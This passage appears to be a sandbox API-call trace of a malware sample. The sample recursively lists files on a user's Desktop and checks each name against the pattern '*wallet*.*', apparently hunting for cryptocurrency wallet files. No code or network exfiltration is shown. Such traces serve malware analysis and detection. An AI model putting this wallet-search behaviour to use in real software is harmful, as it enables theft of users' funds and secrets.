nFileSizeLow=0x8888, dwReserved0=0x0, dwReserved1=0x0, cFileName="g2ZwK9.bmp", cAlternateFileName="")) returned 1 [0099.576] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.576] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.576] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="g2ZwK9.bmp" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp" [0099.576] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.576] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.576] lstrcatW (in: lpString1="\\", lpString2="g2ZwK9.bmp" | out: lpString1="\\g2ZwK9.bmp") returned="\\g2ZwK9.bmp" [0099.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\g2ZwK9.bmp", lpUsedDefaultChar=0x0) returned 42 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.576] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430cc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430cc0 | out: hHeap=0x2110000) returned 1 [0099.577] PathMatchSpecW (pszFile="g2ZwK9.bmp", pszSpec="*wallet*.*") returned 0 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.577] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a77620, ftCreationTime.dwHighDateTime=0x1d7afc6, ftLastAccessTime.dwLowDateTime=0x4cf82e60, ftLastAccessTime.dwHighDateTime=0x1d7afdf, ftLastWriteTime.dwLowDateTime=0x4cf82e60, ftLastWriteTime.dwHighDateTime=0x1d7afdf, nFileSizeHigh=0x0, nFileSizeLow=0x1ea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="hgucYmyJbQJmLK.wav", cAlternateFileName="HGUCYM~1.WAV")) returned 1 [0099.577] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.577] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.577] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav" [0099.577] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.577] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.577] lstrcatW (in: lpString1="\\", lpString2="hgucYmyJbQJmLK.wav" | out: lpString1="\\hgucYmyJbQJmLK.wav") returned="\\hgucYmyJbQJmLK.wav" [0099.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", cchWideChar=50, lpMultiByteStr=0x33ab0a0, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\hgucYmyJbQJmLK.wav", lpUsedDefaultChar=0x0) returned 50 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab0a0 | out: hHeap=0x2110000) returned 1 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430da0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430da0 | out: hHeap=0x2110000) returned 1 [0099.577] PathMatchSpecW (pszFile="hgucYmyJbQJmLK.wav", pszSpec="*wallet*.*") returned 0 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430560 | out: hHeap=0x2110000) returned 1 [0099.577] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a08 | out: hHeap=0x2110000) returned 1 [0099.577] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f0ea3c0, ftCreationTime.dwHighDateTime=0x1d7aada, ftLastAccessTime.dwLowDateTime=0x63881990, ftLastAccessTime.dwHighDateTime=0x1d7ada2, ftLastWriteTime.dwLowDateTime=0x63881990, ftLastWriteTime.dwHighDateTime=0x1d7ada2, nFileSizeHigh=0x0, nFileSizeLow=0x111a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ht3A.swf", cAlternateFileName="")) returned 1 [0099.577] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.577] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.578] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ht3A.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf" [0099.578] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.578] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.578] lstrcatW (in: lpString1="\\", lpString2="ht3A.swf" | out: lpString1="\\ht3A.swf") returned="\\ht3A.swf" [0099.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", cchWideChar=40, lpMultiByteStr=0x211adb0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ht3A.swf", lpUsedDefaultChar=0x0) returned 40 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211adb0 | out: hHeap=0x2110000) returned 1 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa770 | out: hHeap=0x2110000) returned 1 [0099.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.578] PathMatchSpecW (pszFile="ht3A.swf", pszSpec="*wallet*.*") returned 0 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.578] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe1749e0, ftCreationTime.dwHighDateTime=0x1d7a6f3, ftLastAccessTime.dwLowDateTime=0x1cf42150, ftLastAccessTime.dwHighDateTime=0x1d7a707, ftLastWriteTime.dwLowDateTime=0x1cf42150, ftLastWriteTime.dwHighDateTime=0x1d7a707, nFileSizeHigh=0x0, nFileSizeLow=0xb2b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="j2i7j8UItWZYJ.csv", cAlternateFileName="J2I7J8~1.CSV")) returned 1 [0099.578] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.578] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.578] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv" [0099.578] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.578] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.578] lstrcatW (in: lpString1="\\", lpString2="j2i7j8UItWZYJ.csv" | out: lpString1="\\j2i7j8UItWZYJ.csv") returned="\\j2i7j8UItWZYJ.csv" [0099.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", cchWideChar=49, lpMultiByteStr=0x33ab0a0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\j2i7j8UItWZYJ.csv", lpUsedDefaultChar=0x0) returned 49 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab0a0 | out: hHeap=0x2110000) returned 1 [0099.578] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ea0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.579] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ea0 | out: hHeap=0x2110000) returned 1 [0099.579] PathMatchSpecW (pszFile="j2i7j8UItWZYJ.csv", pszSpec="*wallet*.*") returned 0 [0099.579] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.579] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112c90 | out: hHeap=0x2110000) returned 1 [0099.579] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km0vcCJ", cAlternateFileName="")) returned 1 [0099.579] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.579] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.579] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.579] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.579] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.579] lstrcatW (in: lpString1="\\", lpString2="km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.579] lstrcmpW (lpString1="km0vcCJ", lpString2=".") returned 1 [0099.579] lstrcmpW (lpString1="km0vcCJ", lpString2="..") returned 1 [0099.579] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.582] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*" [0099.582] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.582] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.582] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.582] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\." [0099.582] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.582] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.582] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="." | out: lpString1="\\km0vcCJ\\.") returned="\\km0vcCJ\\." [0099.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.583] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15f3c070, ftCreationTime.dwHighDateTime=0x1d7ac31, ftLastAccessTime.dwLowDateTime=0x1b9199d0, ftLastAccessTime.dwHighDateTime=0x1d7ae07, ftLastWriteTime.dwLowDateTime=0x1b9199d0, ftLastWriteTime.dwHighDateTime=0x1d7ae07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.583] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\.." [0099.583] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.583] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.583] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2=".." | out: lpString1="\\km0vcCJ\\..") returned="\\km0vcCJ\\.." [0099.583] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.583] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.583] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedf1b60, ftCreationTime.dwHighDateTime=0x1d7a0e0, ftLastAccessTime.dwLowDateTime=0x7ab1df80, ftLastAccessTime.dwHighDateTime=0x1d7a1bc, ftLastWriteTime.dwLowDateTime=0x7ab1df80, ftLastWriteTime.dwHighDateTime=0x1d7a1bc, nFileSizeHigh=0x0, nFileSizeLow=0x779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="2E2VUJLLm N3CcaeaCt.gif", cAlternateFileName="2E2VUJ~1.GIF")) returned 1 [0099.583] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.583] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.583] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.583] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.583] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="2E2VUJLLm N3CcaeaCt.gif" | out: lpString1="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif") returned="\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif" [0099.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 63 [0099.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", cchWideChar=63, lpMultiByteStr=0x2112a50, cbMultiByte=63, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\2E2VUJLLm N3CcaeaCt.gif", lpUsedDefaultChar=0x0) returned 63 [0099.583] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a50 | out: hHeap=0x2110000) returned 1 [0099.583] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.583] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430d00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d00 | out: hHeap=0x2110000) returned 1 [0099.584] PathMatchSpecW (pszFile="2E2VUJLLm N3CcaeaCt.gif", pszSpec="*wallet*.*") returned 0 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34304e8 | out: hHeap=0x2110000) returned 1 [0099.584] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112ae0 | out: hHeap=0x2110000) returned 1 [0099.584] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818870, ftCreationTime.dwHighDateTime=0x1d7a1c4, ftLastAccessTime.dwLowDateTime=0x67e2f6d0, ftLastAccessTime.dwHighDateTime=0x1d7a7d1, ftLastWriteTime.dwLowDateTime=0x67e2f6d0, ftLastWriteTime.dwHighDateTime=0x1d7a7d1, nFileSizeHigh=0x0, nFileSizeLow=0xa4ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3hAtRVuC3.xlsx", cAlternateFileName="3HATRV~1.XLS")) returned 1 [0099.584] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ" [0099.584] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\" [0099.584] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.584] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\km0vcCJ" | out: lpString1="\\km0vcCJ") returned="\\km0vcCJ" [0099.584] lstrcatW (in: lpString1="\\km0vcCJ", lpString2="\\" | out: lpString1="\\km0vcCJ\\") returned="\\km0vcCJ\\" [0099.584] lstrcatW (in: lpString1="\\km0vcCJ\\", lpString2="3hAtRVuC3.xlsx" | out: lpString1="\\km0vcCJ\\3hAtRVuC3.xlsx") returned="\\km0vcCJ\\3hAtRVuC3.xlsx" [0099.584] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.584] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33aad20 [0099.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", cchWideChar=54, lpMultiByteStr=0x33aad20, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\km0vcCJ\\3hAtRVuC3.xlsx", lpUsedDefaultChar=0x0) returned 54 